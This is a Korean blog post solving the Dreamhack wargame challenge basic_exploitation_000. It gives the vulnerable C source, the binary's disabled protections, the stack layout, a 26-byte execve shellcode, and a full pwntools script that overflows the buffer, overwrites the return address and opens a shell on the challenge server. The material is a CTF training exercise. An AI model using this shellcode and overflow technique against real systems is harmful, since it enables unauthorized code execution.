문제 풀이 환경 : 구름ide
1. 문제 파일 다운, 취약점 분석
문제 파일을 다운 받고 실행시켜 보려 했으나 '허가 거부' 라는 오류가 뜸
./basic_exploitation_000
bash: ./basic_exploitation_000: 허가 거부
실행권한이 없는 것이므로 아래와 같은 코드를 작성하여 해결
chmod +x basic_exploitation_000
문제 코드 (basic_exploitation_000.c)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
위 코드에서 buf의 크기는 0x80(128바이트)로 지정되었는데 scanf에서는 141바이트를 입력 받는다는 것이 보인다.
buf의 주소가 출력된다는 점을 활용하여 버퍼 오버플로우로 return adress에 원하는 실행 함수의 주소를 넣어줘서 쉘 코드를 실행할 수 있을 것 같다.
2. 문제 환경 파악
environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
문제의 environment가 위와 같이 주어져 있다.
arch를 보면 32비트 시스템임을 알 수 있다.
3. 스택 프레임 파악
32비트 시스템의 스택 프레임은 버퍼, sfp(4바이트), return adress(4바이트)로 구성된다.
그렇다면 버퍼의 시작 위치 주소에 쉘 코드를 넣고 나머지 버퍼와 4바이트의 sfp를 다 채운 뒤에 return adress에 쉘 코드의 주소(출력된 버퍼의 시작 주소)를 입력해주면 된다.
4. pwntools로 쉘 코드 작성
먼저 scanf의 쉘 코드를 작성해야 한다.
쉘 코드는 인터넷에 검색해보면 잘 나와있다.
scanf의 경우 특정 바이트 값들을 인식하지 못 하거나 개행 등을 문자열의 끝으로 인식하기 때문에 우회 쉘코드를 사용해야 되는 것 같다.
26 Bytes Shell Code (32비트 scanf 우회 쉘코드)
'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
처음 시도했을 때 'Got EOF while reading in interactive, Got EOF while sending in interactive'라는 오류가 떴다.
해결 방법을 찾아보려 했는데 그냥 쉘 획득에 실패하면 뜨는 오류라고 한다.
코드를 다시 짰다.
아래와 같은 코드로 쉘을 획득하고 flag를 획득했다.
from pwn import *
context.arch = "i386" #32bit니까 x86아키텍처
p = remote("host3.dreamhack.games", 17560)
data = int(p.recv()[7:17], 16) #출력된 buf의 주소 중 0x00000000만 16진수 형태로 data에 저장
buf = p32(data) #data에 저장된 주소를 리틀 엔디안 형식의 바이트로 입력할 수 있도록 패킹
payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' #26 bytes의 쉘 코드
payload += b'A' * 106 #128(버퍼의 크기) + 4(sfp의 크기) - 26(쉘 코드의 크기)인 106만큼을 A라는 쓰레기 값으로 채움.
payload += buf #그 뒤의 주소(return adress)에 쉘 코드의 위치(buf의 시작 위치)를 채움
p.sendline(payload) #scanf로 입력 받기 때문에 sendline을 이용하여 입력
p.interactive()
& ls
& cat flag
'system hacking' 카테고리의 다른 글
드림핵 라이브러리 주소 알아내는 방법, 특정 라이브러리를 로드하는 방법 (0) | 2024.07.03 |
---|---|
드림핵 ssp_001 문제 풀이 (1) | 2024.06.30 |
드림핵 basic_exploitation_001 문제 풀이 (0) | 2024.06.29 |
드림핵 shell_basic 문제 풀이 (1) | 2024.06.15 |
스켈레톤 코드 (0) | 2024.06.15 |